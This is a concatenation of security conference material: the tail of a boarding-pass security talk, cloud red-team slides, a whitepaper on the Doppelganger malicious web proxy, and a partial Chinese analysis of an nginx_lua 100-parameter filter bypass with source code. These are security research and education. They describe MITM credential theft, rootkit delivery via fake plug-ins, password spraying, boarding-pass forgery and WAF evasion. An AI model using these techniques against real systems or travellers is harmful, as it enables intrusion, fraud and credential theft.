(CRS) allow for storage and processing of Passenger Name Records (PNR) containing: • personal data (names, contact details) • reservations (airlines, hotels, cars, …) • issued tickets • special requests • loyalty programs data • Dozens of CRSs exist • GDS (eg. Sabre, Amadeus, Galileo, Worldspan, …) • proprietary ones • One reservation may result with multiple PNRs in different CRSs • Data access is limited not only across CRSs, but across different parties Notice of advice • BCBP often contains more information than the printed version • PNR locator (aka: reservation/confirmation number, booking reference) • Ticket number • Full frequent flyer number • This information can be used to retrieve most and modify some data in your PNR, including ticket cancellation! • Sometimes with additional knowledge like e-mail address • Don’t post or share non-anonymized boarding passes! … and then on to other systems • Departure Control System (DCS) – check-in info • Advance Passenger Information (API) – to border agencies • PNRGOV – to government agencies • Secure Flight Paper is just a bit less fun… • MS Word is a great PDF-editing tool • Most likely barcode will be scanned anyway, so it needs to reflect the printed information Lounge access • Contract lounges • no way to verify eligibility • may require an invitation issued from the airline at check-in • Airline-operated lounges • may have access to passenger records … • … but only for own passengers! • automatic gates increasingly popular (eg. SAS lounges in CPH, OSL; Turkish lounge in IST) Duty Free Goods • In many countries goods are sold directly to the passenger (liquors sealed in a plastic bag) • Eligibility is determined based on destination (eg. EU/Non-EU) Where did we get? • Airport access (meet&greet, sightseeing, …) • Fast Track • Free lunch and booze • Duty free shopping Source: IATA Digital Signature • In 2009 IATA extended BCBP standard (ver. 3) with support for digital signatures based on PKI • Yet many airlines still use BCBP v.1 • The field is "optional and to be used only when required by the local security administration" • The field has variable length, with specific algorithm etc. determined by the authority • Private keys owned by airlines, public keys distributed to third parties • TSA enforced for US carriers (well, almost) BCBP XML • In 2008 IATA proposed Passenger and Airport Data Interchange Standards (PADIS) XML to be used for exchange of BCBP data between airlines and third parties, such as lounges or security checkpoints • The terminal would send a message consisting of a header and full BCBP content • The airline would reply with a Yes/No, along with a reason and optional free text Source: BCBP Working Group Secure Flight • Program implemented by TSA in 2009 takeover watchlists monitoring from airlines • Pre-Check and Secondary Screening introduced in 2011 • Selectee indicator in BCBP field 18; 0=normal; 1=SSSS; 3=LLLL • In 2013 TSA started networking CAT/BPSS devices to pull passenger data from Secure Flight, including: • Passenger’s full name • Gender • Date of birth • Screening status • Reservation number • Flight itinerary (in order to determine which airports receive data) Why is awesome? • Just when I thought I got my slides ready… I get this message from @supersat I noticed you are giving a talk on boarding passes at DEF CON. I managed to acquire [this] off of eBay, and was wondering if you'd like to play around with it at DEF CON or use it for a demo at your talk. Where did we get? • Airport access (meet&greet, sightseeing, …) • Fast Track • Free lunch and booze • Duty free shopping • Pre-check?? Is it a vulnerability? • LOT Polish Airlines: - Please contact Warsaw Airport about this issue as they’re responsible for boarding pass scanning systems. • Warsaw Airport: - It’s a known issue, but not a problem. We’re compliant with all CAA guidelines. • Civil Aviation Authority for Poland: - Boarding pass forgery is a crime since they are documents. • Me: - Can you have a legally binding document without any form of authentication? • Civil Aviation Authority for Poland: - Oh, go f*** yourself! Is it a vulnerability? • Turkish Airlines: - Please be inform that, we have already shared your contact details with our related unit, to get in touch with you as soon as possible. • SAS: - We appreciate that you have taken the time to send us your feedback, as this is crucial for us to improve our services. • TSA: awkward silence Will it fly? •NO. •Seriously. Don’t try! But you can have a nice souvenir + = Wrap up • Privacy and complexity of reservation systems prevent effective data exchange between airlines and BP scanning checkpoints • Several countermeasures have been introduced by IATA, but they’re expensive and complicated to implement • While US did a reasonably good job, other places have actually lowered the bar • Because of privacy restrictions access to PNR will likely by limited to governments making cross-dependencies between private entities inherently broken Sources/Further reading • IATA: BCBP Implementation Guide http://www.iata.org/whatwedo/stb/bcbp/Documents/BCBP-Implementation-Guide.pdf • IATA: Bar-Coded Boarding Passes FAQ https://www.iata.org/whatwedo/stb/bcbp/Documents/bcbp-faqs.pdf • IATA: Passenger and Airport Data Interchange Standards (PADIS) Board http://www.iata.org/whatwedo/workgroups/Pages/padis.aspx • TSA: Privacy Impact Assessment for the Boarding Pass Scanning System https://www.dhs.gov/xlibrary/assets/privacy/privacy_pia_tsa_bpss.pdf • TSA: Secure Flight http://www.dhs.gov/xlibrary/assets/privacy/privacy_pia_tsa_secureflight_update018(e).pdf https://www.tsa.gov/news/testimony/2014/09/18/tsa-secure-flight-program • BCBP Working Group: Business Requirements: BCBP Data Exchange http://www.aci.aero/media/aci/file/aci_priorities/it/doc0803_brd_bcbp_xmlfinal.pdf • Bruce Schneier: Flying On Someone Else’s Airplane Ticket https://www.schneier.com/crypto-gram/archives/2003/0815.html#6 • Bruce Schneier: The Boarding Pass Brouhaha https://www.schneier.com/essays/archives/2006/11/the_boarding_pass_br.html • Andy Bowers: A Dangerous Loophole in Airport Security http://www.slate.com/articles/news_and_politics/hey_wait_a_minute/2005/02/a_dangerous_loophole_in_airport_security.html • Christopher Sokhoian: Insecure Flight: Broken Boarding Passes and Ineffective Terrorist Watch Lists http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1001675 • Jeffrey Goldberg: The Things He Carried (The Atlantic) http://www.theatlantic.com/magazine/archive/2008/11/the-things-he-carried/307057/ • Charles C. Mann: Smoke Screening (Vanity Fair) http://www.vanityfair.com/culture/2011/12/tsa-insanity-201112 • Brian Krebs: What’s in the Boarding Pass? A lot http://krebsonsecurity.com/2015/10/whats-in-a-boarding-pass-barcode-a-lot/ • John Butler: Security Flaws in the TSA Pre-Check System and the Boarding Pass Check System https://puckinflight.wordpress.com/2012/10/19/security-flaws-in-the-tsa-pre-check-system-and-the-boarding-pass-check-system/ Thank you! Questions/Comments: [email protected] Slides: https://www.slideshare.net/secret/5ohSBnJcbYhIMd
pdf
Hacking the Cloud Gerald Steere – Microsoft C+E Red Team (@Darkpawh) Sean Metcalf – CTO Trimarc (@pyrotek3) Gerald Steere - @darkpawh 10+ years experience as a penetration tester and red team operator​ Member of C+E Red Team since 2014​ Speaker at BlueHat and Bsides Seattle Spends work days happily smashing atoms in Azure About Us Sean Metcalf - @pyrotek3 Founder Trimarc, a security company. Microsoft Certified Master (MCM) Directory Services Speaker: Black Hat, BSides, DEF CON, DerbyCon, Shakacon, Sp4rkCon Security Consultant / Security Researcher Own & Operate ADSecurity.org (Microsoft platform security info) About Us + Cloud FTW! What’s in it for me? Staying clean while being mean Buzzword bingo with cloud lingo Pathfinding, recon, and targeting in multiple dimension Currency exchange – what do I do with all these hashes? Happy fun exploit time (with demos) Countermeasures and proper protection Cloud? Who cares! What’s in it for me? Cloud matters for business Your client probably uses it, whether you (or they) realize it or not Many traditional techniques do not work Same concepts but new ways of thinking What’s in it for me? When we last saw our intrepid red team Hired to red team SithCo Have domain admin on a subsidiary domain SithCo uses public cloud resources to host web applications Hacker Quest How do we leverage access to get into SithCo corporate? Staying clean while being mean Cause pissing off The Net is bad for business Can I really go after my client’s cloud deployments? We are not lawyers. If you’re a professional you need one of those to talk to ALWAYS. Staying Clean Lawful Evil is a perfectly valid alignment Scope & Access will be more limited Spell out enforced limitations in your reporting Cloud providers typically require an approval process be followed Staying Clean Attacking Azure, AWS, or Google Cloud Deployments Requires preapproval by account owner (Azure and AWS) Standard Rules of Engagement (RoE) stuff Limited to customer owned resources No DoS Can include attempts to break isolation (Azure) Staying Clean Buzzword Bingo Do you have your card ready? Accessibility modifiers Public could Private cloud Hybrid cloud Buzzword Bingo https://www.stickermule.com/marketplace/3442-there-is-no- cloud All the aaS Buzzword Bingo Albert Barron – https://www.linkedin.com/pulse/20140730172610-9679881-pizza-as-a-service It’s not domain, but it’s still admin Cloud assets are managed under an account or subscription Getting access to that layer is often equivalent to DA Buzzword Bingo CloudOS - Same ideas, different words Buzzword Bingo Server Domain Domain Admin Pass the Hash Private IPs RDP / SSH Services Subscription Subscription Admin Credential Pivot Public IPs Management APIs Faust and Johnson – Cloud Post Exploitation Techniques Infiltrate 2017 https://vimeo.com/214855977 Where’s the data? Cloud services rely on data storage for nearly everything How is data stored in the cloud? Do I need to attack the service or is the data my real goal? Buzzword Bingo Image: ©MITRE SithCo’s app hosting What are we looking at? Pathfinding, recon, and targeting in multiple dimension How do I figure out I even need to look at the cloud? Identifying Cloud Deployments In the public cloud – DNS is your best friend Pathfinding Cloud Recon: DNS MX Records • Microsoft Office 365: DOMAIN-COM.mail.protection.outlook.com • Google Apps (G Suite): *.google OR *.googlemail.com • Proofpoint (pphosted) • Cisco Email Security (iphmx) • Cyren (ctmail) • GoDaddy (secureserver) • CSC (cscdns) Pathfinding Cloud Recon: DNS TXT Records MS = Microsoft Office 365 Google-Site-Verification = G Suite Amazonses = Amazon Simple Email OSIAGENTREGURL = Symantec MDM AzureWebsites = Microsoft Azure Paychex = Paychex financial services Docusign = Docusign digital signatures Atlassian-* = Atlassian services Pathfinding Cloud Recon: SPF Records SalesForce (salesforce.com, pardot.com, & exacttarget.com) MailChimp (mcsv.net) Mandrill (MailChimp paid app) Q4Press (document collaboration) Zendesk (support ticket) Oracle Marketing (Eloqua.com) Constant Contact (email marketing) Postmark (mtasv.net) Pathfinding Discover Federation Servers No standard naming for FS. DNS query for: • adfs • auth • fs • okta • ping • sso Pathfinding Federation Web Page Detail Pathfinding OWA Version Discovery Check for autodiscover subdomain (autodiscover.domain.com) Connect to autodiscover web page (https://autodiscover.domain.com) Copyright date effectively provides Exchange version: 2006 = Microsoft Exchange 2007 Pathfinding Cloud and Federation Attackers go after Identity since that provides access to resources. Modern auth Cloud authentication and authorization is typically independent from the on-premises domain, though Federation may provide a path… How you authenticate will depend on the specific cloud provider More Buzzword Bingo: • OAUTH • OpenID • SAML • WS-Federation • WS-Trust Identity Identity ADFS Federation Server Config Identity Federation server typically lives on the internal network with a proxy server in the DMZ. Certificates installed on Federation server Service communication Token-decrypting Token-signing Relying party trusts: cloud services and applications Claim rules: determine what type of access and from where access is allowed. Federation Key Points Identity Federation: trust between organizations leveraging PKI (certificates matter) Cloud SSO often leverages temporary or persistent browser cookies (cookies provide access) Several protocols may be supported, though typically SAML. (protocols and versions matter) Federation server (or proxy) is on public internet via port 443 (HTTPS). How to steal identities – federated style Identity Federation is effectively Cloud Kerberos. Own the Federation server, own organizational cloud services. Token & Signing certificates ~= KRBTGT (think Golden Tickets) Steal federation certificates to spoof access tokens (Mimikatz fun later). On-Premises Cloud Components How do we get those identities into the cloud anyways? Active Directory & the Cloud Identity Active Directory provides Single Sign On (SSO) to cloud services. Some directory sync tools synchronizes all users and their attributes to cloud service(s). Most sync engines only require AD user rights to send user and group information to cloud service. Most organizations aren’t aware of all cloud services active in their environment. Express Permissions for Azure AD Connect Identity https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-accounts-permissions Custom Permissions for Azure AD Connect Identity https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-accounts-permissions Currency exchange – what do I do with all these hashes? I never liked buying tokens, but that’s all these things take Spending our horde I’ve got all these hashes and no where to go No matter how many times you’ve popped the KRBTGT account, your cloud provider really doesn’t care Currency exchange Creds, creds never change Certificates, certificates, certificates! Popping dev boxes has never been more productive You do know mimikatz can also export certificates, right? Currency exchange What is old is new again Password Spraying involves attempting authentication with a single password against all users before moving on to the next password. Works against Cloud services: email, IM, etc. Low & Slow: 1 to 2 per hour Often works against VPN as well. Currency exchange Password spraying tools OWA-Toolkit: https://github.com/johnnyDEP/OWA-Toolkit MailSniper: Invoke-PasswordSprayOWA https://github.com/dafthack/MailSniper Patator: https://github.com/lanjelot/patator LyncSniper: https://github.com/mdsecresearch/LyncSniper https://www.mdsec.co.uk/2017/04/penetration-testing-skype-for- business-exploiting-the-missing-lync/ The authors have not evaluated these tools. Always test before use. Currency exchange DevOops DevOps probably has what you are looking for API keys and shared secrets for the win Source code access for fun and profit How are these deployments done anyways? Currency exchange Where Are API Keys? GitHub! Currency exchange https://hackernoon.com/how-to-use-environment-variables- keep-your-secret-keys-safe-secure-8b1a7877d69c https://github.com/jjenkins/node-amazon-ses/issues/9 The circle of access Access between on-premises and cloud deployments often a two way street On-premises -> cloud typically involves identifying credentials Is there a way back? Are there shared authentication methods? Currency exchange The circle of access What is the likelihood this cloud service needs to access resources from on- premises? Currency exchange Happy fun exploit time Pray to the demo gods, pray I say! Demo stuff here Currency exchange There should be a fun live demo here if everything goes right Countermeasures and proper protection Closing my eyes and hoping it goes away isn’t going to work, is it? Giving useful advice Telling your client to close up shop and moving back into the basement is probably a non-starter Clouds do provide real business benefits and can improve security when done right How can the “cloud” be secured? Countermeasures Giving useful advice: The Basics Properly handle, store, and mange credentials and secrets You aren’t storing those access keys in GIT are you? Clouds do provide managed secret stores Make it easy for DevOps to do the right thing Enforce MFA on all accounts If it can’t have MFA, limit it as much as possible and monitor it Countermeasures Giving useful advice: Securing Federation Protect Federation servers at the same level as Domain Controllers. Use a proxy server to limit communication directly with federation server inside the network. Audit cloud authentication by logging Federation auth events & send to SIEM. Enable multifactor authentication for all admin accounts & preferably all cloud accounts. Control Cloud authentication via Federation rules. Example: Internal network access provides single sign-on External access requires username, password, and two-factor authentication Countermeasures Giving useful advice Many of the basics remain the same Least privilege is key and poorly understood in many cloud implementations Least access, use the security features provided by the cloud Credential management is hard in a connected world – this is an massive opportunity for attackers Countermeasures Monitoring and alerting It’s not just for your network any more Defenders need to work with DevOps to make sure that cloud resources and data are considered in defensive designs Different cloud providers provide different tools for managing security Defenders must be familiar with the tools from cloud providers used by their client Log collection and management needs to include cloud assets You do know what your assets are, right? Assume breach! Countermeasures Conclusion Are we there yet? References Infiltrate 2017: Cloud Post Exploitation Techniques - Andrew Johnson & Sacha Faust https://vimeo.com/214855977 Azure Security: https://portal.msrc.microsoft.com/en- us/engage/pentest AWS Security: https://aws.amazon.com/security/penetration-testing/ Google Cloud Security: https://cloud.google.com/security/ MailSniper: https://github.com/dafthack/MailSniper Patator: https://github.com/lanjelot/patator Conclusion
pdf
Using a Malicious Proxy to Pilfer Data & Wreak Havoc Edward J. Zaborowski [email protected] Abstract .................................................................................................................3 Malicious Web Proxy ...........................................................................................3 Becoming the Proxy ...........................................................................................3 ARP Spoofing.................................................................................................3 Static Configuration........................................................................................3 Web Proxy Auto Detection.............................................................................4 Other Components..............................................................................................4 HTTP Server...................................................................................................4 Proxy Server ...................................................................................................5 What about SSL?..................................................................................................5 About the Doppelganger Tool .............................................................................5 Web Distortion Scenarios ....................................................................................6 Scenario 1: Password Grabbing..........................................................................6 Scenario 2: Root kit Installation .........................................................................6 Conclusion.............................................................................................................6 Abstract People surfing the web assuming that for the most part, what they are looking at is what the website served to their browser. However, that may not necessarily be the case and someone may be sitting in between you and your browser performing a man-in-the-middle (MITM) attack, changing what you get served, what gets sent to the server, and looking at everything in between. Not only can a malicious proxy allow an attacker to pilfer data such as information entered into web forms like passwords & credit card numbers, but it can also wreak havoc by assisting an attacker in doing things such as tricking users into downloading malicious content. Malicious Web Proxy On a daily basis many people surf the web without an idea of what information is being divulged. Businesses may have proxies set up for a variety of reason. But what if a person set up a proxy that filtered your traffic through his proxy? Now that this user has access to your surfing habits, he may be logging your passwords, profiling you and your surfing habits, and perhaps even changing what you see on the net. A malicious proxy can be set up by virtually anyone, allowing access to your any data that you may submit through forms, user credentials for websites, cookies, and more, provided the attacker can manage to get people to use his proxy. Becoming the Proxy There are a few common ways one can register the proxy so as to starts intercepting traffic from the victims some of which include ARP spoofing, static configuration, and Web Proxy Auto Detection. Each method has certain advantages and disadvantages over others as discussed below. ARP Spoofing Utilizing ARP spoofing is one method an attacker can become the man-in-the-middle to operate a malicious proxy. While ARP spoofing can be an effective means for executing a man- in-the-middle attack, it is potentially dangerous attack in that it can potentially cause network issues. Successful ARP spoofing however, has the distinct advantage of redirecting a large amount of clients to a malicious proxy with very little effort. Static Configuration Static configuration would be the safest method, from a network standpoint, of becoming the man-in-the-middle for this type attack. Browsers allow for statically configuring the proxy they use. And while this is a safe method, its major drawback is that it is not easy to implement. This method requires some kind of pre-existing access to a user's computer to be effectively utilized, rendering it somewhat impractical, particularly for large networks. Despite it's drawback this method could be hard to detect if implemented on a small scale. Web Proxy Auto Detection Web Proxy Auto Detection or WPAD, would fall in between ARP spoofing, and Static Configuration in terms of safety to the network, as well as ease of deployment. While the network issues that may arise from ARP spoofing may not be a problem for WPAD, one problem that does exist is a potential denial of service for any browser clients that utilize WPAD. This DoS can occur when a Proxy Auto Configuration file directs the clients to a proxy that doesn't exist. One other drawback to WPAD is that the target network needs to be configured to accept dynamic DNS updates, and the browsers themselves need to be configured to use proxy auto detection. For the latter, this is less of an issue as some browsers are configured by default to utilize proxy auto detection. Browsers using WPAD look for a certain number of things to find a proxy configuration file. Firstly it will check DHCP (option 252) for a server hosting a Proxy Auto Configuration (PAC) file. If not found it queries DNS next recursively checking for a WPAD host on the domain. For example, if a host's domain is workstation01321.workstations.somecompany.com, the browser will look for wpad.workstations.somecompany.com, and if not found, wpad.somecompany.com, and so on. The browser will search until it finds the first available server hosting a PAC, and obtain the proxy information from that URL. However, for a network configuration that fulfills the aforementioned requirements, WPAD can lead to a great success in redirecting the victims' HTTP traffic through the malicious proxy in a relatively passive manner. A secondary benefit of utilizing the WPAD method is that is provides an attacker the ability to easily specify and change a proxy host. This proxy host could potentially even lie outside of the target network. Other Components Once an attacker has positioned him or herself to start intercepting HTTP traffic, the hard part is over, but that was just the first step to operating a malicious proxy. Depending upon the attacker's intent, additional components may be necessary to perform this attack. These components include an HTTP server, and a proxy server. Much of these functions can be accomplished by using Apache's HTTPd server, and having a decent knowledge of Javascript, and some regular expressions. HTTP Server An HTTP server is an important component of this attack for a couple of reasons. The first reason is necessary to server a PAC file to hosts if the attacker is using WPAD to intercept hosts. The second reason is to serve files to the victims, whether it be Javascript or an root-kit for the victim to download and execute. Proxy Server The proxy server is the most important part of the tool kit. Unlike a traditional proxy that acts as an intermediary with little or no modification to the requests or responses a malicious proxy can both filter and modify the responses & requests. Modifying responses is a selective process, modifying only those files that make the most sense to do so, for example, HTML & Javascript files. Failure to do so could cause portions of the page to render improperly, or not at all. Once the proxy receives data that is capable of being modified, it can then use regular expressions to inject data into the HTML document, which is in turn sent to the client. The victim's browser, upon parsing and rendering the HTML activates the injected Javascript, modifying the DOM as it needs to, depending upon the desired outcome. What about HTTPS? Using these methods, even HTTPS can be compromised to an extent, and works much in the same way that it does for HTTP traffic. In this instance however, another server is required that acts as a the remote HTTPS server. The malicious proxy, before the request is made, replaces the information in the CONNECT request with that of a server acting as the intended HTTPS server. One key difference is that the server itself acts as a pseudoproxy, cloning the requests to the intended server, and responding in kind. It uses a self-signed certificate to match the request as to not arouse too much suspicion. Depending upon the browser of the user doing the surfing, an alert will be generated that a browser received a self-signed certificate. The ball is now in the end-user's court as to whether or not accept the self-signed certificate. Despite the fact that this method is not as transparent as it is for its HTTP counterpart, it is another tool that can be used in an attackers arsenal. About the Doppelganger Tool Doppelganger was created to combine the functionality of a WPAD man-in-the-middle attack, the HTTP server, and proxy capabilities into a single utility to simplify the process of deploying the attack. Doppelganger takes a lot of the guess work out of creating and running a malicious proxy by automating, configuring, and launching the different components, with minimal effort. Doppelganger is designed to allow an attacker to gain access to all the information contained in the web traffic and to potentially misrepresent the page that a user sees by injecting Javascript before the user's browser receives it. This is largely achieved by modifying the Document Object Model (DOM) which grants an attacker the ability to view a user's data, to manipulate the target's browser into divulging considerable amounts of information, or to add false data into an otherwise "trusted" site. Malicious Proxy Scenarios Scenario 1: Password Grabbing There are two options for password grabbing when deploying Doppelganger. The simplest method simply extracts any headers containing the Authorization line. This allows an attacker to decode any Basic Authentication. In the case of form-submitted login information, using the Javascript injection, an attacker can intercept any form data before it is submitted. Scenario 2: Root Kit Installation An attacker has Doppelganger in place and would like to install a root kit on some systems. One way this can be accomplished using Doppelganger would to be manipulate the DOM of a web page, to hide portions or the entire page, informing a user that in order to view the page a plug-in must be installed to continue. That link would redirect to a file held on the Web Distort HTTP server which the user would then in turn download & install. Conclusion While users may or may not be aware of it, an attacker utilizing a malicious proxy has the ability to compromise data on a large scale, using a simple, easy to deploy attack. Whether the proxy affects a single user or a large enterprise, any data traversing from the client to the server has the chance of being divulged, risking passwords, credit card numbers, and more potentially sensitive data. Furthermore, utilizing the position the attacker has gained, he can seed the network with other files that can be used to further infiltrate the network, or exfiltrate data from the network. Revisions: 23 March 2009 - Added HTTPS/SSL Paragraphs 24 June 2009 - Updated contact E-mail address
pdf
Nginx_lua 100参数绕过原理详解 一、环境搭建 Nginx_lua 安装 https://github.com/openresty/lua-nginx-module#installation 安装完之后可以在nginx.conf 写入配置。可以动态在Nginx 层面进行过滤和调度 这里使用一个很简单的方式来展示绕过的原理 wget 'https://openresty.org/download/nginx-1.19.3.tar.gz' tar -xzvf nginx-1.19.3.tar.gz cd nginx-1.19.3/ # tell nginx's build system where to find LuaJIT 2.0: export LUAJIT_LIB=/path/to/luajit/lib export LUAJIT_INC=/path/to/luajit/include/luajit-2.0 # tell nginx's build system where to find LuaJIT 2.1: export LUAJIT_LIB=/path/to/luajit/lib export LUAJIT_INC=/path/to/luajit/include/luajit-2.1 # Here we assume Nginx is to be installed under /opt/nginx/. ./configure --prefix=/opt/nginx \         --with-ld-opt="-Wl,-rpath,/path/to/luajit/lib" \         --add-module=/path/to/ngx_devel_kit \         --add-module=/path/to/lua-nginx-module # Note that you may also want to add `./configure` options which are used in your # current nginx build. # You can get usually those options using command nginx -V # you can change the parallism number 2 below to fit the number of spare CPU cores in your # machine. make -j2 make install      location = /api2 {        content_by_lua_block {            tmp=''            for i,v in pairs(ngx.req.get_uri_args()) do 这里是意思是访问/api2 然后返回get的所有参数。默认他是接受100个参数。当超过100个参数的时候会 默认不会记录。这样达成了一个绕过的一个方式。演示如下: 首先先发送两个id 过去试试 那么试试id1->id100              if type(i)=='string' then                tmp=tmp..i..' '              end            end            ngx.header.content_type = "application/json;"         ngx.status = 200         ngx.say(tmp)            ngx.exit(200)       }   } a='' for i in range(1,102):   a=a+'id'+str(i)+'=11&' print(a) 返回从1-100 但是没有id101 那么这个id101 哪里去了呢? 那么看看ngx.req.get_uri_args() 这个函数是怎么实现的 二、源码解析 参考文章: https://blog.csdn.net/liujiyong7/article/details/37692027 src/ngx_http_lua_module.c为模块主入口文件 注册函数的写法有统一的格式: GET /api2? id1=11&id2=11&id3=11&id4=11&id5=11&id6=11&id7=11&id8=11&id9=11&id10=11&id11=11&i d12=11&id13=11&id14=11&id15=11&id16=11&id17=11&id18=11&id19=11&id20=11&id21=11&i d22=11&id23=11&id24=11&id25=11&id26=11&id27=11&id28=11&id29=11&id30=11&id31=11&i d32=11&id33=11&id34=11&id35=11&id36=11&id37=11&id38=11&id39=11&id40=11&id41=11&i d42=11&id43=11&id44=11&id45=11&id46=11&id47=11&id48=11&id49=11&id50=11&id51=11&i d52=11&id53=11&id54=11&id55=11&id56=11&id57=11&id58=11&id59=11&id60=11&id61=11&i d62=11&id63=11&id64=11&id65=11&id66=11&id67=11&id68=11&id69=11&id70=11&id71=11&i d72=11&id73=11&id74=11&id75=11&id76=11&id77=11&id78=11&id79=11&id80=11&id81=11&i d82=11&id83=11&id84=11&id85=11&id86=11&id87=11&id88=11&id89=11&id90=11&id91=11&i d92=11&id93=11&id94=11&id95=11&id96=11&id97=11&id98=11&id99=11&id100=11&id101=11 HTTP/1.1 Host: 192.168.1.70 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Connection: close id76 id74 id64 id62 id60 id61 id5 id73 id71 id14 id91 id15 id20 id22 id12 id66 id13 id32 id10 id31 id33 id11 id92 id21 id84 id93 id85 id67 id30 id83 id58 id3 id88 id59 id98 id68 id69 id81 id48 id49 id8 id9 id25 id24 id26 id16 id79 id17 id36 id35 id18 id89 id99 id29 id28 id100 id97 id96 id95 id94 id6 id38 id90 id87 id39 id86 id19 id82 id80 id42 id56 id78 id52 id77 id75 id57 id44 id53 id7 id54 id72 id50 id1 id46 id55 id70 id51 id65 id23 id2 id40 id37 id4 id43 id47 id27 id41 id45 id34 id63 static int ngx_http_lua_ngx_req_get_method(lua_State *L) {    int                      n;    ngx_http_request_t      *r;    n = lua_gettop(L);    if (n != 0) {        return luaL_error(L, "only one argument expected but got %d", n); 注册get_uri_args 在 所有的nginx api for lua注册在 lua-nginx-module/src/ngx_http_lua_util.c:ngx_http_lua_inject_ngx_api 函数中 与request有关的注册在 lua-nginx-module/src/ngx_http_lua_util.c: ngx_http_lua_inject_req_api 函数中 ngx_http_lua_inject_ngx_api 函数   }    r = ngx_http_lua_get_req(L);//从lua全局变量得到request结构体指针,见4.2.2    if (r == NULL) {        return luaL_error(L, "request object not found");   }    ngx_http_lua_check_fake_request(L, r);//检查r合法性    lua_pushlstring(L, (char *) r->method_name.data, r->method_name.len);//将 method压栈    return 1; } static void ngx_http_lua_inject_ngx_api(lua_State *L, ngx_http_lua_main_conf_t *lmcf,    ngx_log_t *log) {    lua_createtable(L, 0 /* narr */, 113 /* nrec */);    /* ngx.* */    lua_pushcfunction(L, ngx_http_lua_get_raw_phase_context);    lua_setfield(L, -2, "_phase_ctx");    ngx_http_lua_inject_arg_api(L);    ngx_http_lua_inject_http_consts(L);    ngx_http_lua_inject_core_consts(L);    ngx_http_lua_inject_log_api(L);    ngx_http_lua_inject_output_api(L);    ngx_http_lua_inject_string_api(L);    ngx_http_lua_inject_control_api(log, L);    ngx_http_lua_inject_subrequest_api(L);    ngx_http_lua_inject_sleep_api(L);    ngx_http_lua_inject_req_api(log, L);    ngx_http_lua_inject_resp_header_api(L);    ngx_http_lua_create_headers_metatable(log, L);    ngx_http_lua_inject_shdict_api(lmcf, L);    ngx_http_lua_inject_socket_tcp_api(log, L);    ngx_http_lua_inject_socket_udp_api(log, L);    ngx_http_lua_inject_uthread_api(log, L);    ngx_http_lua_inject_timer_api(L);    ngx_http_lua_inject_config_api(L); ngx_http_lua_inject_req_api 函数 看着应该是ngx_http_lua_inject_req_uri_api 和 ngx_http_lua_inject_req_args_api 比较像 跟踪一下这 两个函数 ngx_http_lua_inject_req_uri_api ngx_http_lua_inject_req_args_api 这里只有set_uri_args 和get_post_args 并没有找到get_uri_args    lua_getglobal(L, "package"); /* ngx package */    lua_getfield(L, -1, "loaded"); /* ngx package loaded */    lua_pushvalue(L, -3); /* ngx package loaded ngx */    lua_setfield(L, -2, "ngx"); /* ngx package loaded */    lua_pop(L, 2);    lua_setglobal(L, "ngx");    ngx_http_lua_inject_coroutine_api(log, L); } void ngx_http_lua_inject_req_api(ngx_log_t *log, lua_State *L) {    /* ngx.req table */    lua_createtable(L, 0 /* narr */, 23 /* nrec */);    /* .req */    ngx_http_lua_inject_req_header_api(L);    ngx_http_lua_inject_req_uri_api(log, L);    ngx_http_lua_inject_req_args_api(L);    ngx_http_lua_inject_req_body_api(L);    ngx_http_lua_inject_req_socket_api(L);    ngx_http_lua_inject_req_misc_api(L);    lua_setfield(L, -2, "req"); } void ngx_http_lua_inject_req_uri_api(ngx_log_t *log, lua_State *L) {    lua_pushcfunction(L, ngx_http_lua_ngx_req_set_uri);    lua_setfield(L, -2, "set_uri"); } ngx_http_lua_inject_req_args_api(lua_State *L) {    lua_pushcfunction(L, ngx_http_lua_ngx_req_set_uri_args);    lua_setfield(L, -2, "set_uri_args");    lua_pushcfunction(L, ngx_http_lua_ngx_req_get_post_args);    lua_setfield(L, -2, "get_post_args"); } 这里陷入了深深的沉思 全局搜索下只有ngx_http_lua_ffi_req_get_uri_args 这一个函数是相关的 。 这个函数在src/ngx_http_lua_args.c 三、查看get_post_args 这个函数过程 首先看一下get_post_args 这个一个过程吧 注册为get_post_args 那么nginx内部的调用方式为ngx.req.get_post_args ngx_http_lua_ngx_req_get_post_args 函数体 lua_pushcfunction(L, ngx_http_lua_ngx_req_get_post_args); lua_setfield(L, -2, "get_post_args"); static int ngx_http_lua_ngx_req_get_post_args(lua_State *L) {    ngx_http_request_t          *r;    u_char                      *buf;    int                          retval;    size_t                       len;    ngx_chain_t                 *cl;    u_char                      *p;    u_char                      *last;    int                          n;    int                          max;    n = lua_gettop(L);    if (n != 0 && n != 1) {        return luaL_error(L, "expecting 0 or 1 arguments but seen %d", n);   }    if (n == 1) {        max = luaL_checkinteger(L, 1);        lua_pop(L, 1);   } else {        max = NGX_HTTP_LUA_MAX_ARGS;   }    r = ngx_http_lua_get_req(L);    if (r == NULL) {        return luaL_error(L, "no request object found");   }    ngx_http_lua_check_fake_request(L, r);    if (r->discard_body) {        lua_createtable(L, 0, 0);        return 1;   } 上述的关键的在于 max = NGX_HTTP_LUA_MAX_ARGS;    if (r->request_body == NULL) {        return luaL_error(L, "no request body found; "                          "maybe you should turn on lua_need_request_body?");   }    if (r->request_body->temp_file) {        lua_pushnil(L);        lua_pushliteral(L, "request body in temp file not supported");        return 2;   }    if (r->request_body->bufs == NULL) {        lua_createtable(L, 0, 0);        return 1;   }    /* we copy r->request_body->bufs over to buf to simplify     * unescaping query arg keys and values */    len = 0;    for (cl = r->request_body->bufs; cl; cl = cl->next) {        len += cl->buf->last - cl->buf->pos;   }    dd("post body length: %d", (int) len);    if (len == 0) {        lua_createtable(L, 0, 0);        return 1;   }    buf = ngx_palloc(r->pool, len);    if (buf == NULL) {        return luaL_error(L, "no memory");   }    lua_createtable(L, 0, 4);    p = buf;    for (cl = r->request_body->bufs; cl; cl = cl->next) {        p = ngx_copy(p, cl->buf->pos, cl->buf->last - cl->buf->pos);   }    dd("post body: %.*s", (int) len, buf);    last = buf + len;    retval = ngx_http_lua_parse_args(L, buf, last, max);    ngx_pfree(r->pool, buf);    return retval; } 找到定义的NGX_HTTP_LUA_MAX_ARGS 默认为100 然后走到了ngx_http_lua_parse_args 这个函数 #ifndef NGX_HTTP_LUA_MAX_ARGS #   define NGX_HTTP_LUA_MAX_ARGS 100 #endif int 